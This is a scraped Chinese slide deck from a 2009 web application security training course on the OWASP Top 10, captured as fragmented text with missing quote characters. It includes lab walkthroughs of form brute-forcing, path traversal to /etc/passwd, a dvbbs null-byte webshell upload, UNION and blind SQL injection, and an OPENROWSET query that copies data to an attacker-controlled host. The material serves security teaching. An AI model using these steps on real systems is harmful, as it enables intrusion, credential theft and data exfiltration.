Web应用安全培训

上传人:无*** 文档编号:242547096 上传时间:2024-08-27 格式:PPTX 页数:170 大小:6.42MB
返回 下载 相关 举报
Web应用安全培训_第1页
第1页 / 共170页
Web应用安全培训_第2页
第2页 / 共170页
Web应用安全培训_第3页
第3页 / 共170页
点击查看更多>>
资源描述
单击此处编辑母版标题样式,第,*,页,Click to edit Master text styles,单击此处编辑母版标题样式,Click to edit Master text styles,170,165,单击此处编辑母版标题样式,Click to edit Master text styles,Web,应用安全,汪涛,2009-10,目录,Web,对象直接引用,二,三,四,恶意代码执行,一,背景,注入攻击,五,跨站脚本攻击,六,Google Hack,OWASP,漏洞攻防,七,Web,来源于,World Wide Web,,,Web,系统是,Internet,的重要组成部分,形形色色的,Web,系统正在改变着我们的生活:,网上购物,网上汇款交费,写博客,Web,小游戏,竞选,网上营业厅,Web,丰富了我们的生活,作为一种新型的市场渠道,网上营业厅能够为用户提供方便快捷的服务,能够降低实体店铺的成本,因此在各大运营商市场战略中占有重要的位置。近年以来,网上营业厅的安全问题越来越受到大众的关注,主要可以划分成,4,个方面:,Web,安全的意义,工信部,网上营业厅如果被不法分子攻陷,那么可能以此为跳板进入运营商的支撑网甚至核心网络,造成大面积通讯故障。,普通用户,网上到处叫卖的个人通话详单查询服务已经对老百姓的隐私造成了极大的破坏。移动集团一直就很重视客户信息保密的问题。,运营商,网上营业厅代表了企业对外的形象,每天访问用户数以万计,如果出现页面篡改、甚至网页挂马事件,对企业形象是巨大损失。,运营商,网上营业厅涉及充值交费等交易业务,容易吸引不法分子的眼球。如果利用安全漏洞造成交易欺诈,损害企业的经济利益。,Web,系统逐渐成为企业安全边界之一,防火墙,加固,OS,Web,服务器,应用服务器,防火墙,数据库,历史遗留系统,Web Services,文件目录,人力系统,计费系统,定制的应用程序,应用层,攻击,仅仅使用网络层的防护手段,(,防火墙, SSL, IDS,加固,),无法阻止或检测到应用层攻击,网络层,应用层,应用层作为安全边界的一部分,或许有巨大的漏洞,而,Web,系统的安全性参差不齐,复杂应用系统代码量大、开发人员多、难免出现疏忽;,系统屡次升级、人员频繁变更,导致代码不一致;,历史遗留系统、试运行系统等多个,Web,系统共同运行于同一台服务器上;,开发人员未经过安全编码培训;,定制开发系统的测试程度不如标准的产品;,客户,满意,界面友好,操作方便,处理,性能,实现,所有功能,架构合理,代码修改方便,运行,稳定,没有,bug,不同模块,低耦合,相对安全性而言,开发人员更注重系统功能!,开发进度与成本,开发者的关注点,定制开发的,Web,应用,=,企业安全的阿基里斯之踵,“目前,,75%,的攻击发生在应用层”,Gartner, 2006,“2006,年前,9,个月内新发现,4,375,个漏洞,. Web,漏洞是其中最普遍的三类之一,.”,Mitre Corp, 09/2006,,,CVE,的维护者,“,产品的定制开发是应用安全中最薄弱的一环”,.,Gartner, 09/2005,“,到,2009,年, 80%,的企业都将成为应用层攻击的受害者”,.,Gartner, 2007,Web,攻击场景,攻击动机,攻击方法,攻击工具,系统漏洞,防范措施,攻击面(,attack surface,),Web,服务器,黑客,Web,攻击动机,常见,Web,攻击动机,恶作剧;,关闭,Web,站点,拒绝正常服务;,篡改,Web,网页,损害企业名誉;,免费浏览收费内容;,盗窃用户隐私信息,例如,Email,;,以用户身份登录执行非法操作,从而获取暴利;,以此为跳板攻击企业内网其他系统;,网页挂木马,攻击访问网页的特定用户群;,仿冒系统发布方,诱骗用户执行危险操作,例如用木马替换正常下载文件,要求用户汇款等;,常用的挂马,exploit,MS07-017 MS Windows Animated Cursor (.ANI) Remote Exploit,MS07-019,MS07-004 VML Remote Code Execution,MS06-073,MS06-071 XML Core Services Remote Code Execution,MS06-068,MS06-067,MS06-057 WebViewFolderIcod ActiveX,MS06-055,MS06-014 MDAC Remote Code Execution,MS06-013,MS06-005,MS06-004,MS06-001,Web,攻击方法,常见,Web,攻击方法,Google hack,网页爬行,暴力猜解,Web,漏洞扫描,错误信息利用,根据服务器版本寻找现有的攻击代码,利用服务器配置漏洞,文件上传下载,构造恶意输入(,SQL,注入攻击、命令注入攻击、跨站脚本攻击),HTTP,协议攻击,拒绝服务攻击,其他攻击点利用(,Web Services, Flash, Ajax, ActiveX, JavaApplet,),业务逻辑测试,收集系统相关的通用信息,将系统所有能访问页面,所有的资源,路径展现出来,URL,、口令、数据库字段、文件名都可以暴力猜解,注意利用工具;,利用,Web,漏洞扫描器,可以尽快发现一些明显的问题,错误可能泄露服务器型号版本、数据库型号、路径、代码;,搜索,Google,,,CVE, BugTraq,等漏洞库是否有相关的漏洞,服务器后台管理页面,路径是否可以列表等,是否可以上传恶意代码?是否可以任意下载系统文件?,检查所有可以输入的地方:,URL,、参数、,Post,、,Cookie,、,Referer,、,Agent,、,系统是否进行了严格的校验?,HTTP,协议是文本协议,可利用回车换行做边界干扰,用户输入是否可以影响服务器的执行?,需要特殊工具才能利用这些攻击点,复杂的业务逻辑中是否隐藏漏洞?,Web,攻击工具:,WebScarab,特色:,HTTP,协议完全可见(可以完全操作所有的攻击点),支持,HTTPS (,包括客户端证书,),全程数据与状态记录,可随时回顾,WebScarab,是,OWASP,组织推出的开源工具,可应用于一切基于,HTTP,协议系统的调试与攻击;,访问资源名称,GET,与,POST,参数,Referer,与,User Agent,HTTP,方法,Cookie,Ajax,Web Service,Flash,客户端,Java Applet,Web,攻击面:不仅仅是浏览器中可见的内容,直接可在浏览器中利用的输入,所有输入点,更多输入点,黑客实际利用的输入点,Web,攻击漏洞:安全漏洞库,Web,攻击漏洞:,2007 OWASP Top 10,跨站脚本,注入,恶意代码,引用不当,CSRF,2007 OWASP Top 10,:第一名第四名,No.,漏洞名称,简介,举例,A1,跨站脚本,Cross Site Scripting,简称为,XSS,如果,Web,应用没有对攻击者的输入进行适当的编码和过滤,就转发给其他用户的浏览器时,可能导致,XSS,漏洞。,攻击者可利用,XSS,在其他用户的浏览器中运行恶意脚本,偷窃用户的会话,或是偷偷模拟用户执行非法的操作;,发帖子,发消息,A2,注入,Injection Flaws,如果,Web,应用没有对攻击者的输入进行适当的编码和过滤,就用于构造数据库查询或操作系统命令时,可能导致注入漏洞。,攻击者可利用注入漏洞诱使,Web,应用执行未预见的命令(即命令注入攻击)或数据库查询(即,SQL,注入攻击)。,搜索用户,A3,恶意代码执行,Malicious File Execution,如果,Web,应用允许用户上传文件,但对上传文件名未作适当的过滤时,用户可能上载恶意的脚本文件(通常是,Web,服务器支持的格式,如,ASP,,,PHP,等);,脚本文件在,Include,子文件时,如果,Include,路径可以被用户输入影响,那么可能造成实际包含的是黑客指定的恶意代码;,上述两种情况是造成恶意代码执行的最常见原因。,上传附件,上传头像,A4,对象直接引用,Insecure Direct Object Reference,访问内部资源时,如果访问的路径(对文件而言是路径,对数据库而言是主键)可被攻击者篡改,而系统未作权限控制与检查的话,可能导致攻击者利用此访问其他未预见的资源;,下载文件,2007 OWASP Top 10,:第五名第十名,No.,漏洞名称,简介,举例,A5,跨站请求伪造,Cross Site Request Forgery,简称为,CSRF,CSRF,攻击即攻击者在用户未察觉的情况下,迫使用户的浏览器发起未预见的请求,其结果往往损害用户本身的利益。,CSRF,攻击大多利用,Web,应用的,XSS,漏洞,也有很多,CSRF,攻击没有利用,XSS,而是利用了,HTML,标签的特性。,不明邮件中隐藏的,html,链接,A6,信息泄露与错误处理不当,Information Leakage and Improper Error Handling,Web,应用可能不经意地泄露其配置、服务器版本、数据库查询语句、部署路径等信息,或是泄露用户的隐私。攻击者可利用这些弱点盗窃敏感信息。,错误信息揭示路径,A7,认证与会话管理不当,Broken Authentication and Session Management,如果,Web,应用的认证与会话处理不当,可能被攻击者利用来伪装其他用户身份,A8,存储不安全,Insecure Cryptographic Storge,如果,Web,应用没有正确加密存储敏感信息,可能被攻击者盗取。,例如攻击者可能通过,SQL,注入手段获取其他用户的密码,如果,Web,应用对密码进行了加密,就可以降低此类威胁。,A9,通讯加密不安全,Insecure Communication,如果,Web,应用没有对网络通讯中包含的敏感信息进行加密,可能被窃听,A10,URL,访问控制不当,Failure to Restrict URL Access,如果,Web,应用对,URL,访问控制不当,可能造成用户直接在浏览器中输入,URL,,访问不该访问的页面,OWASP TOP 10,,您打算从哪里开始?,2,3,4,5,6,7,8,9,10,1,目录,Web,对象直接引用,二,三,四,恶意代码执行,一,背景,注入攻击,五,跨站脚本攻击,六,Google Hack,OWASP,漏洞攻防,七,2007 OWASP,第,10,名:,URL,访问控制不当,举例:有的,Web,应用对页面权限控制不严,原因是缺乏统一规范的权限控制框架,导致部分页面可以直接从,URL,中访问,绕开登录认证。,防范措施:统一规范权限控制。,A10,URL,访问控制不当,Failure to Restrict URL Access,如果,Web,应用对,URL,访问控制不当,可能造成用户直接在浏览器中输入,URL,,访问不该访问的页面,2007 OWASP,第,9,名,举例:网络窃听(,Sniffer,)可以捕获网络中流过的敏感信息,如密码,,Cookie,字段等。高级窃听者还可以进行,ARP Spoof,,中间人攻击。,防范措施:通讯加密。,A9,通讯加密不安全,Insecure Communication,如果,Web,应用没有对网络通讯中包含的敏感信息进行加密,可能被窃听,Host A,Host B,Router A,Router B,2007 OWASP,第,8,名,举例:很多,Web,应用将用户口令以明文的方式保存,一旦黑客能够通过其他漏洞获取这些口令,就可以伪造他人身份登录,包括系统管理员。,建议:采用安全的算法加密保存口令。,下面将举一个实例说明,A8,存储不安全,Insecure Cryptographic Storge,如果,Web,应用没有正确加密存储敏感信息,可能被攻击者盗取。,例如攻击者可能通过,SQL,注入手段获取其他用户的密码,如果,Web,应用对密码进行了加密,就可以降低此类威胁。,2007 OWASP,第,8,名:,Case vBulletin,vBulletin,以,MD5,方式保存用户口令,然而其,2.3.0,版本存在一个,SQL,注入漏洞,可以通过此漏洞查询管理员密码的,MD5,值;,Step 1,:通过,Google,搜索,vBulletin 2.3.0,的特征,发现,965.000,项符合。,这是,Google Hack,,后面会专门介绍,2007 OWASP,第,8,名:,Case vBulletin,Step 2,:检查漏洞页面,calendar.php,能否访问。,Step 3,:由于该攻击利用了,Union,,要求,MySQL,版本高于,4.0,,因此通过下面的链接检查其,MySQL,版本是否高于,4.0,。, OWASP,第,8,名:,Case vBulletin,Step 4,:注册一个用户,在首页查看自己的,ID,。,2007 OWASP,第,8,名:,Case vBulletin,Step 5,:通过下面的链接实现,SQL,注入攻击:, OWASP,第,8,名:,Case vBulletin,现在很多,Web,应用已经开始用,MD5,算法保存用户密码,然而直接进行,MD5,并非安全算法。,右图的,Rainbow,表就可以用于反查,MD5,值。,Rainbow,表利用了,Hellman,的存储,-,时间权衡算法,通过设计一个大数据量的表来提高反查效率。,防范措施:,SALT,学习,Unix,操作系统采用,Salt,技术来防范,rainbow,表攻击。,Password,随机,Salt,MD5,Base64,随机,salt,+,Shadow,文件中保存的内容,Unix,在保存用户口令时,会随机生成一个,12,字节的字符串作为,salt,,然后把,salt,与口令一起计算,MD5,,并将,salt,与结果保存在,etc/shadow,中。,验证时将,salt,与用户输入口令结合计算,MD5,并与存储的结果比对。,2007 OWASP,第,7,名,举例:有的,Web,应用登录界面允许攻击者暴力猜解口令,在自动工具与字典表的帮助下,可以迅速找到弱密码用户。,A7,认证与会话管理不当,Broken Authentication and Session Management,如果,Web,应用的认证与会话处理不当,可能被攻击者利用来伪装其他用户身份,防范措施:图片认证码,双因素认证,实验环境搭建,采用,VMware 5.0,,虚拟两台主机,构造一个虚拟局域网,Window 2000 Server,模拟,Web,服务器,IP,:,192.168.230.2,Window 2000 Professional,已安装实验所需的攻击工具,模拟黑客机,IP,:,192.168.230.3,本地机,模拟普通用户,IP,:,192.168.230.1,2007 OWASP,第,7,名:,Case Brute,我们将利用一个简单的,Perl,脚本对目标进行字典攻击;,首先设定,Perl,运行环境,将,bin,目录添加到系统,PATH,中:,学员练习,10Min,2007 OWASP,第,7,名:,Case Brute,运行,perl formbrute.pl,,显示其命令参数如下:,usage: formbrute.pl -U url,:网址,-m method ( GET|POST ),:,GET,还是,POST,-u usernameFile,:用户名字典文件,-p passwordFile,:密码字典文件,-l loginVariable,:,Form,中用户名的变量名称,-w passVariable,:,Form,中密码的变量名称,-o otherVariables ( ie: submit=true&login=yes ),:其他变量,-v proxyServer,:代理,-f failureString,:失败后返回标记,-s saveFilename,:输出文件名,-h request-headers( ie: Referer:abc&Cookie:ng=omo ),:其他,HTTP,头数据,学员练习,10Min,2007 OWASP,第,7,名:,Case Brute,启动,WebScarab,,开启抓包功能。同时在,IE,中设置代理:,学员练习,10Min,2007 OWASP,第,7,名:,Case Brute,学员练习,10Min,2007 OWASP,第,7,名:,Case Brute,由于输入的是错误的密码,页面提示:,你的用户名或者密码是错误的,.,请重新输入或者注册成为新会员,.,我们把“错误”当成登录失败的标志,用,formbrute,发起如下命令:,perl formbrute.pl -U http:/192.168.230.2/bbs/Default.asp -m POST -u UserList.txt -p PasswordList.txt -l Name -w Password -o Method_Type=login&SavePassWord=true&submit1.x=34&submit1.y=17 -f ,错误, -s result.txt,学员练习,10Min,2007 OWASP,第,7,名:,Case Brute,结果输出在,result.txt,中:,寻找到,admin:admin,以及,test:test,两个合法登录!,学员练习,10Min,2007 OWASP,第,7,名:,Case Brute,题外话:,Formbrute,代码非常简短,稍加修改就可以完成更多的任务,例如:,猜解后台管理入口;,猜解数据库字段名;,自动测试,手工测试,2007 OWASP,第,6,名,举例:错误页面往往泄露系统内部敏感信息,防范措施:,在所有的运行代码中,进行规范的,异常处理。,已处理的异常和未处理的异常应该始终将提供的可能有助于黑客攻击的信息减到最少。,例如在登录系统时,不论是用户名不存在还是密码错误都应该提示相同的错误信息。,A6,信息泄露与错误处理不当,Information Leakage and Improper Error Handling,Web,应用可能不经意地泄露其配置、服务器版本、数据库查询语句、部署路径等信息,或是泄露用户的隐私。攻击者可利用这些弱点盗窃敏感信息。,2007 OWASP,第,6,名:,Case 1,泄露服务器,Tomcat,版本,2007 OWASP,第,6,名:,Case 2,泄露数据库查询语句;,泄露数据库为,Oracle,;,2007 OWASP,第,6,名:,Case 3,泄露数据库为,Microsoft SQL Server,2007 OWASP,第,6,名:,Case 4,泄露数据库为,MySQL,2007 OWASP,第,6,名:,Case 5,泄露服务器目录,2007 OWASP,第,6,名:,IE,设置,1,有的时候您看到的是如下的页面:,2007 OWASP,第,6,名:,IE,设置,2,原因是,IE,显示给用户的是友好的,HTTP,错误,所以需要去掉下面选项的勾:,2007 OWASP,第,6,名:,IE,设置,3,重启,IE,后,显示更多的技术细节:,总结,前面简介,OWASP,漏洞排名第,10,名到第,6,名的漏洞攻防;,接下来将详细介绍第,5,名到第,1,名;,我们把,XSS,与,CSRF,合并在一起介绍,顺序如下:,Insecure Direct Object Reference,:直接对象引用,Malicious File Execution,:恶意代码,Injection,:注入,XSS and CSRF,:跨站脚本与跨站请求伪造,目录,Web,对象直接引用,二,三,四,恶意代码执行,一,背景,注入攻击,五,跨站脚本攻击,六,Google Hack,OWASP,漏洞攻防,七,对象直接引用 一,A4,对象直接引用,Insecure Direct Object Reference,访问内部资源时,如果访问的路径(对文件而言是路径,对数据库而言是主键)可被攻击者篡改,而系统未作权限控制与检查的话,可能导致攻击者利用此访问其他未预见的资源;,下载文件,目标:获取服务器的,etc/passwd,文件,方法:,Web,服务器一般缺省不允许攻击者访问,Web,根目录以外的内容。但是对,Web,应用却不做限制,因此,操作系统,Web,应用,Web,服务器,我想看,etc/passwd,Access Denied!,我想看,etc/passwd,OK!,我想看,etc/passwd,OK!,对象直接引用,Step 1.,访问,http:/traffic-,,这是一个网页浏览统计系统,点击,Get stats,!链接,对象直接引用,Step 2.,右键点击中间的图片,查看其链接属性:,对象直接引用,Step 4.,您是否观察到其中,file,是作为,plotStat.php,的一个参数传入,那么我们用,file,指向其他敏感文件试试看:,对象直接引用,Step 5.,构造参数,/./././././././././etc/passwd,拿到,etc/passwd!,对象直接引用,Step 6.,进一步的攻击,,Google,搜索,inurl:download.jsp?file=,:,对象直接引用,其他资源类型,例如某,Web,应用允许用户查询自己账号的余额信息,其链接如下:,http:/./history.jsp?userid,=?,有心的用户可能填写其他用户的,id,再访问,如果开发者在服务器端没有进行权限控制,判断此,id,是否能被当前会话的用户访问,就可能泄露其他用户的隐私信息。,复杂的系统存在大量的相互引用访问,如果开发者不能有效地进行权限控制,就可能被恶意引用。,真实的故事,Google-Docs,用户可以偷窃所有其他用户的文档!,在,google-docs,上有个链接可以将您的文档发送给合作者。,GET /Dialogs/EmailDocument?DocID= HTTP/1.1,然而,,google,却没有检查参数中的,DOCID,是否属于您。所以,您可以猜测他人文档的,ID,并利用这个链接让,google,把文档邮给您。,http:/xs- Inclusion,(简称,RFI/LFI,)漏洞就是因为系统在包含脚本文件时,包含的路径可被黑客篡改。,目录,Web,对象直接引用,二,三,四,恶意代码执行,一,背景,注入攻击,五,跨站脚本攻击,六,Google Hack,OWASP,漏洞攻防,七,恶意代码执行,A3,恶意代码执行,Malicious File Execution,如果,Web,应用允许用户上传文件,但对上传文件名未作适当的过滤时,用户可能上载恶意的脚本文件(通常是,Web,服务器支持的格式,如,ASP,,,PHP,等);,脚本文件在,Include,子文件时,如果,Include,路径可以被用户输入影响,那么可能造成实际包含的是黑客指定的恶意代码;,上述两种情况是造成恶意代码执行的最常见原因。,目标:将,WebShell,或木马程序上传到服务器中!,方法:一种情况是,Web,应用提供了上传接口;还有一种情况是通过,SQL,注入直接利用底层数据库或操作系统的上传接口。第二种方法在,SQL,注入部分再介绍。,恶意代码执行:,Case dvbbs,将提交表单的,filepath,字段赋值给,formPath,变量,formPath,=upload.form(,filepath,),检查文件扩展名,必须是图像文件,if CheckFileExt(fileEXT)=false then,利用,formPath,变量生成最终保存在服务器的文件名,filename,=,formPath,&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&.&fileExt,存盘,file,.SaveToFile Server.mappath(,filename,),filepath,formPath,filename,存盘,用户输入,Dvbbs,是国内著名的开源论坛,其,7.2 SP2,版本以下都存在一个严重的任意文件上传漏洞。漏洞点在用户修改个人资料时允许从本地上传图像做头像,主要代码片段如下(,upfile.asp,):,恶意代码执行:,Case dvbbs,Step 1.,注册一个普通用户,并修改基本资料,其中提供了头像上传界面。,学员练习,15Min,恶意代码执行:,Case dvbbs,Step 2.,为了更仔细了解这个页面,我们使用,IE,的查看源码功能,发现文件上传是一个,Iframe.,Step 3.,直接在,IE,中访问这个,iframe,页面,出现了一个简洁的上传接口,.,学员练习,15Min,恶意代码执行:,Case dvbbs,Step 4.,再仔细查看这个页面的源代码,发现,filepath,字段,.,可惜是隐藏的,注意编码方式:,multipart/form-data,。,Step 5.,打开,WebScarab,,设置,IE,代理为本地,8008,端口,并使用,WebScarab,的揭示隐藏字段的功能:,揭示隐藏字段,学员练习,15Min,恶意代码执行:,Case dvbbs,Step 6.,我们在,filepath,后面追加上,web.asp,然后把我们要上传的恶意,asp,文件(一个,asp,编写的远程控制页面,也即通常说的,WebShell,)改名为,web.jpg,,上传;,结果如下:失败,上传按钮变灰,且左下角提示出现,Javascript,错误。,看来还是要退到原来的页面去做,学员练习,15Min,恶意代码执行:,Case dvbbs,虽然原来的页面操作很不方便,学员练习,15Min,恶意代码执行:,Case dvbbs,Step 7.,注意打开,webscarab,的拦截功能,学员练习,15Min,恶意代码执行:,Case dvbbs,Step 8.,关键一步:,将,替换为,16,进制的,00,于是,formPath=uploadFaceweb.asp,0,服务器端最后生成的,Filename = formPath&,时间,&.&jpg,因此,web.jpg,文件上传后,服务器保存为,Filename=uploadFaceweb.asp,学员练习,15Min,恶意代码执行:,Case dvbbs,Step 8.,访问,web.asp,,显示出我们的,webshell,,登录密码是,12345,;,这种攻击又成为“空字节注入”,通常适用于,multipart/form-data,方式提交的,HTTP,请求。如果不是,multipart/form-data,,,Web,服务器会将,HTTP,请求在空字节处截断。,一般文件上传都使用此类请求。,学员练习,15Min,防范措施,目录,Web,对象直接引用,二,三,四,恶意代码执行,一,背景,注入攻击,五,跨站脚本攻击,六,Google Hack,OWASP,漏洞攻防,七,注入攻击:,OWASP 2007 Top 2,A2,注入,Injection Flaws,如果,Web,应用没有对攻击者的输入进行适当的编码和过滤,就用于构造数据库查询或操作系统命令时,可能导致注入漏洞。,攻击者可利用注入漏洞诱使,Web,应用执行未预见的命令(即命令注入攻击)或数据库查询(即,SQL,注入攻击)。,搜索用户,目标:借,Web,应用的”刀“来攻击服务器数据库或操作系统,方法:检查,Web,应用调用数据库服务器或操作系统功能所有调用点,检查是否能构造恶意输入,进而影响调用命令。下面重点讲解,SQL Injection,。,操作系统,Web,应用,数据库服务器,恶意输入,./././etc/passwd,OK!,1,2,3,调用数据库查询,直接调用操作系统命令,通过数据库调用操作系统命令,Bubble,SQL Injection,:字符串参数,/login.asp,管理员,管理员,程序员考虑的场景,:,Username: admin,Password: p$w0rd,SELECT COUNT(*),FROM Users,WHERE username=,admin, and password=,p$w0rd,登录成功!,程序员未预料到的结果,Username: admin,OR 1=1,-,Password: 1,SELECT COUNT(*),FROM Users,WHERE username=,admin OR 1=1 -,and password=,1,SQL Injection,:字符串参数,/login.asp,攻击者,登录成功!,学员练习,3Min,是,SQL,字符串变量的定界符,攻击关键,通过定界符成功地将攻击者的意图注入到,SQL,语句中!,通过注释保证,SQL,语句正确!,-,是,MS SQL,的注释符,SQL Injection,可能影响的系统,几乎所有的关系数据库系统和相应的,SQL,语言都面临,SQL,注入的潜在威胁,MS SQL Server,Oracle,MySQL,MS Access,Postgres, DB2, Sybase, Informix,等等,各种后台语言,/,系统进行数据库访问的方式,ASP, JSP, PHP,访问后台数据库的,Perl,和,CGI,脚本,XML, XSL,和,XSQL,VB, MFC,以及其他基于,ODBC,的工具和,API,等等,SQL Injection,:数字参数,管理员,程序员考虑的场景,:,age: 20,SELECT name, age, location,FROM Users,WHERE age20,程序员未预料到的结果,age: 1000000 union select name, age, password from users,SELECT name, age, location,FROM Users,WHERE age999,union,select name, age, password from users,Fact,:,大多数程序员都注意到了,的问题,他们用,来代替用户输入的,,从而防止字符串,SQL,注入;,但很多人缺忽略了同样严重的数字注入问题。其防范方法是检查用户输入的数字是否合法,。,Union,暴库是常见的注入方法,Union,语法要求前后两句,SQL,中,Select,的数据项类型和数量一致,;,这两句,sql,都符合,string,int,string,的模式,999,是不可能符合的条件,这样,union,的结果就只剩第二句,sql,查询的内容,打开培训示范论坛,不用登录,直接查看用户属性,SQL Injection,:,Case,学员练习,20Min,一个简单的测试显示这里可能存在注入漏洞。从错误看出是,MS SQL Server,。,从链接的形式,id=?,来看应该可能是数字型。因此,报错是必然的。,从报错来看,程序员把,替换成了,SQL Injection,:,Step 1,学员练习,20Min,用,试验,发现出来了一部分数据,,test,用户名及其,email,地址,这证明至少有一条,SQL,正确运行。,但是依然有,SQL,报错,很可能是后台有两条,SQL,语句都分别用到了,id,变量,而两语句使用的环境不同。,SQL Injection,:,Step 2,学员练习,20Min,实际情况是第一条,SQL,是,where id=? ,,第二条,SQL,是,where (xx=xx) and (id=?),。,因此要第二条不错,,id,只能用,2)-,,但这样第一条又会出错,难以两全。,从错误行号来看,第一句,SQL,位于,84,行,第二句,SQL,位于,207,行。,SQL Injection,:,Step 3,学员练习,20Min,对于,Select,查询,几乎都可以用,Union,查询来暴库。,Union,要求前后两句对应的数据项数量相同,类型一致,因此需要首先检查第一句,SQL,的数据项数量。,方法是用,order by n,,逐步增加,n,。,SQL Injection,:,Step 4,学员练习,20Min,N=30,正常,,N=31,错误!因此第一句,SQL,有,30,项。,SQL Injection,:,Step 5,学员练习,20Min,由于,union,还要求类型一致,,30,项要逐个猜测类型是不现实的,因此用通配符,null!,准备,30,个,null,。,提示这个错误的原因说明前一句,sql,中有,image,类型,而,union,缺省是,distinct,的,要解决这个问题,使用,union all,即可。,SQL Injection,:,Step 6,学员练习,20Min,使用,Union All,后,终于又看到了,test,的信息。,SQL Injection,:,Step 7,学员练习,20Min,调整,union,第一句的条件为“不可能满足”,这样显示出来的始终是第二句,即使为,null,SQL Injection,:,Step 8,学员练习,20Min,这两个位置显示的是,30,项,null,中的某两个。因此可以利用这里来回显信息!,需要找到这两个数据位于,30,个,null,中的何处。首先试验把第二个,null,换成字符型的,null,。,错误提示不是告诉类型不匹配,而是说有语法错误。从而再次确认:开发者用,替换了。,SQL Injection,:,Step 9,学员练习,20Min,要写出不带,的,sql,语句并不困难。如果您对,SQL,语法熟悉的话,就知道有一个,char,函数可供利用。,SQL Injection,:,Step 10,学员练习,20Min,64,是,的,ASCII,码数值,,10,进制。,成功回显,SQL Injection,:,Step 11,学员练习,20Min,第二个,null,位置回显于此处,试出两个回显点的位置:,第四个,null,位置回显于此处,SQL Injection,:,Step 12,学员练习,20Min,把后面的,sql,替换成,select null,password,null,.,null from users,的形式,希望能显示一个密码,但是失败了。系统不存在,users,表。,再猜测几个表发现依然失败。看来仅仅靠猜测是不行的。,不同的数据库都有系统表,可以利用来枚举表结构,在不同的,DBMS,枚举表结构,MS SQL,SELECT,name,FROM,syscolumns,WHERE id = (SELECT id FROM,sysobjects,WHERE,name,=,表名,),sp_columns,tablename,(,这个存储过程可以列举表的字段名,),MySQL,show,columns,from,tablename,Oracle,SELECT * FROM,all_tab_columns,WHERE,table_name,=,表名,数据库系统表,Oracle,SYS.USER_OBJECTS,SYS.TAB,SYS.USER_TEBLES,SYS.USER_VIEWS,SYS.ALL_TABLES,SYS.USER_TAB_COLUMNS,SYS.USER_CATALOG,MySQL,mysql.user,mysql.host,mysql.db,MS Access,MsysACEs,MsysObjects,MsysQueries,MsysRelationships,MS SQL Server,sysobjects,syscolumns,systypes,sysdatabases,SQL Injection,:,Step 13,学员练习,20Min,查询一下是否有列名为,pass(word),的表,首先简单测试一下:,Select name from syscolumns where name like %p%,结果提示错误!,原因:服务器自动进行,URL,解码。除了把,%20,转化为空格外,还会把,+,转化为空格。因此数据库查询变成了,like % p %,SQL Injection,:,Step 14,学员练习,20Min,解决办法:用,+,的,URL,编码后的形式,%2B,,服务器解码后就成了,+,。结果如下:,有一列为,parent_obj,符合条件,SQL Injection,:,Step 15,学员练习,20Min,下面的查询列出所有含有类似,pass,列的表名和列名:,Select sysobjects.name, syscolumns.name from syscolumns, sysobjects where syscolumns.name like %pass% and sysobject.type=U and sysobject.id=syscolumns.id,系统中有一个,FORUM_FORUM,表,含有一列,F_PASSWORD_NEW,SQL Injection,:,Step 16,学员练习,20Min,但是我们对,Forum_Forum,这个表不感兴趣,所以查一下结果数目。使用,count(*),查询结果为,2,;,SQL Injection,:,Step 17,学员练习,20Min,因此对后一句使用,order by 2 desc,(可以反复多试一下不同的排序方式)直到最后显示出表名,FORUM_MEMBERS,中含有,M_PASSWORD,列;,SQL Injection,:,Case,学员练习,20Min,猜测还有,M_NAME,一列。,最后查询出系统含有,admin,用户,其口令为,admin,。,充分利用系统的错误提示信息;,充分利用,union,查询,这种方式几乎适合于所有的数据库类型,是最为普遍的一种暴库方法;,union,时首先利用,order by,检查数据项,再用,null,做通配满足数据类型一致,注意使用,union all,;,充分利用系统回显,如果回显只能显示一项数据,那么对,union,之前的查询设置“不能满足的条件”,对,union,之后的语句采用,order by,调整显示的顺序;,结合系统表枚举表结构;,注意利用特殊方法来绕开系统的过滤,如,char(),绕开对,的过滤;,注意“加号”的,URL,编码;,注意考虑程序员的习惯,例如,asp,里程序员一般都会把,用,代替,但是有时候会忽略数字项的注入漏洞。例如根据列名,M_PASSWORD,可以猜测出还有一列名为,M_NAME,总结,盲注入,(Blind Injection),:如果系统屏蔽了详细的错误信息,那么对攻击者而言就是盲注入。,盲注入并非是全盲,可以充分利用系统的回显空间;例如前面的实例,对于有经验的攻击者,完全可以抛开那些错误信息直接注入。,如果连回显也没有(比如,Mysql 4.0,版本以下不支持,UNION,查询),那么就要利用在正确与错误之间,依然可以获取的,1Bit,的信息量;,如果看不到具体的错误信息:盲注入,and exists (select * from admin where id=1 and len(name)5),,返回正常说明长度大于,5,,,and exists (select * from admin where id=1 and len(name)7),,返回错误说明长度小于,7,,,and exists (select * from admin where id=1 and mid(password,1,1)=a) ,返回正常说明密码第一个字符是英文(,0=48,a=65,A=97,),,and exists (select * from admin where id=1 and mid(password,1,1)=z) ,返回正常说明密码第一个字符是小写英文(,0=48,a=65,A=97,),,and exists (select * from admin where id=1 and mid(password,1,1)=m ,返回错误说明密码第一个字符在,n,到,z,之间,,最好用工具,例如前面提到的,Formbrute,;,要利用数据库字符串处理函数如,mid, len, left,等等,不同数据库有差异,最好有速查手册。,二分法盲注入示例,各系统的区别(字符串处理),MS SQL,MySQL,Access,Oracle,长度,len(abc)=3,length(abc)=3,len(abc)=3,length(abc)=3,截取左右,left(abc,2)=ab,right (abc,2)=bc,left(abc,2)=ab,right (abc,2)=bc,left(abc,2)=ab,right (abc,2)=bc,用,substr,代替,截取中间,substring(abc,2,1)=b,substring(abc,2,1)=b,mid(abc,2,1)=b,mid(abc,2,1)=b,substr (abc,2,1)=b,字符串连接, + ,concat ( , ), & , | ,各系统的区别(二),MS SQL,MySQL,Access,Oracle,联合查询,Y,N4.0,Y 4.0,Y,Y,子查询,Y,N,4.1,Y,4.1,N,Y,多句查询,Y,N,N,N,默认存储过程,非常多,N,N,非常多,高级,SQL,注入:利用数据库的高级特性,上述语句仅限于,SQL Server,:,黑客在本地运行,SQL Server,,并创建一个与服务器端,target_table,结构一样的表,my_table,,就可以利用此命令将服务器表的数据全部导到本地;,其中,sa:Pass123,是黑客,SQL Server,的登录信息,,myIP,是黑客的,IP,地址,,80,是,SQL Server,端口(缺省情况下不是,80,,这样是方便反弹连接),Bubble,; insert into,OPENROWSET(SQLoledb,uid=,sa,;pwd=,Pass123,;Network=DBMSSOCN;Address=,myIP,80,;,select * from,my_table,),select * from,target_table,-,高级,SQL,注入:利用数据库的高级特性,上述语句仅限于,SQL 